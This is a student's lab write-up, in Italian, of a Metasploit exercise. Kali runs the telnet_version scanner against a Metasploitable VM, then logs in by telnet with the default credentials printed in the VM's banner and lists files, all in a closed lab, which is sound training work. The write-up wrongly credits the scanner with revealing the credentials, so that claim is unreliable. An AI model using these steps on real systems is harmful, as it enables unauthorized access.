

Exploit telnet con metasploit

Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable.

Requisito: Seguire gli step visti in lezione teorica. Prima, configurate l'IP della vostra Kali con 192.168.1.25 e l'IP della vostra Metasploitable con 192.168.1.40

Ho aperto metasploit con il comando "msfconsole" e dopo aver cambiato l'indirizzo ip a kali e meta sono andato ad effettuare il comando "search telnet" per vedere moduli disponibili che ci potrebbero interessare.

```
msf6 > search telnet

Matching Modules

#  Name                                                                 Disclosure Date  Rank    Check  Description
-  -                                                                 -          -    -    -
0  exploit/linux/misc/asus_infosvr_auth_bypass_exec 2015-01-04     excellent No      ASUS infosvr Auth Bypass Command Execution
1  exploit/linux/http/asuswrt_lan_rce               2018-01-22     excellent No      AsusWRT LAN Unauthenticated Remote Code Executio
n
2  auxiliary/server/capture/telnet                  normal         No      Authentication Capture: Telnet
3  auxiliary/scanner/telnet/brocade_enable_login    normal         No      Brocade Enable Login Check Scanner
4  exploit/windows/proxy/ccproxy/telnet_ping        2004-11-11     average  Yes     CCProxy Telnet Proxy Ping Overflow
5  auxiliary/dos/cisco/ios_telnet_rocem             2017-03-17     normal  No      Cisco IOS Telnet Denial of Service
6  auxiliary/admin/http/dlink_dir_300_600_exec_noauth 2013-02-04     normal  No      D-Link DIR-600 / DIR-300 Unauthenticated Remote
Command Execution
```

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):

Name      Current Setting  Required  Description
-  -  -  -  -
PASSWORD  no               no        The password for the specified username
RHOSTS    yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     yes              yes       The target port (TCP)
THREADS   1                yes       The number of concurrent threads (max one per host)
TIMEOUT   30               yes       Timeout for the Telnet probe
USERNAME  no               no        The username to authenticate as

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
```

Ho scelto il modulo per sfruttare la vulnerabilità e ho settato RHOSTS da attaccare con l'ip della macchina metasploitable (192.168.1.40) mentre la porta da attaccare ed i thread gli ho lasciati invariati.

Ho lanciato a questo punto l'attacco con il comando "exploit"

```
[*] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Il modulo ha recuperato dei dati di login del servizio e ci mette in chiaro l'username e la password.

Adesso per un ulteriore test sono andato ad eseguire il comando telnet 192.168.1.40

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Feb 19 13:33:55 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:a1:ff:d9
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feaf:ffd9/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1123 errors:0 dropped:0 overruns:0 frame:0
          TX packets:275 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:78788 (76.9 KB)  TX bytes:96821 (94.5 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128  Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:266 errors:0 dropped:0 overruns:0 frame:0
          TX packets:266 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:118371 (115.5 KB)  TX bytes:118371 (115.5 KB)
```

```
msfadmin@metasploitable:~$ ls -la
total 48
drwxr-xr-x  8 msfadmin msfadmin 4096 2024-01-29 08:17 .
drwxr-xr-x  6 root     root     4096 2010-04-16 02:16 ..
lrwxrwxrwx  1 root     root      9 2012-05-14 00:26 .bash_history -> /dev/null
drwxr-xr-x  4 msfadmin msfadmin 4096 2010-04-17 14:11 .distcc
drwx----- 2 msfadmin msfadmin 4096 2024-01-19 06:25 .gconf
drwx----- 2 msfadmin msfadmin 4096 2024-01-19 06:25 .gconfd
-rw----- 1 root     root     4174 2012-05-14 02:01 .mysql_history
-rw-r--r-- 1 msfadmin msfadmin  586 2010-03-16 19:12 .profile
-rw-r--r-- 1 msfadmin msfadmin    0 2024-01-29 08:08 progetto
drwxr-xr-x  2 msfadmin msfadmin 4096 2024-01-29 08:17 progetto1
-rwx----- 1 msfadmin msfadmin    4 2012-05-20 14:22 .rhosts
drwx----- 2 msfadmin msfadmin 4096 2010-05-17 21:43 .ssh
-rw-r--r-- 1 msfadmin msfadmin    0 2010-05-07 14:38 .sudo_as_admin_successful
drwxr-xr-x  6 msfadmin msfadmin 4096 2010-04-27 23:44 vulnerable
msfadmin@metasploitable:~$
```

Sono quindi riuscito in questo modo a sfruttare la vulnerabilità ed ad avere l'accesso completo alla macchina metasploitable.

Leonardo Margheri